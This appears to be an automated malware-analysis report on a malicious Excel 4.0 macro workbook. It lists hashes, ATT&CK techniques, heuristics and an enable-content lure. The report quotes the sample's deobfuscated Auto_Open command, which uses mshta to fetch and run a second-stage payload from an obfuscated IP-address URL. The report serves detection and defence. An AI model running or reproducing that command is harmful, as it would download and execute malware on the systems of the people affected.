Office (OLE) / .XLS malware analysis — malicious · 14bdf00c2e9e951a

MALICIOUS

Office (OLE) / .XLS

64.7 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: 0f5becee434e688ff3b782b7f01eef87 SHA-1: ddb2a9dec3787629e8ad13c1f0ff216da0be318a SHA-256: 14bdf00c2e9e951adf152335e4c5b6d51e5a56f61da2167d554ce1ba0d76595e

100 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled workbook that uses an Auto_Open macro to execute a command. The macro attempts to obfuscate a URL by concatenating parts of it, which resolves to 'cmd /c msh^ta http://0xc12a24f5/cc.html'. This command is designed to download and execute a second-stage payload from the specified URL. The document also contains a lure to enable editing and content, which is a common tactic for macro-based malware.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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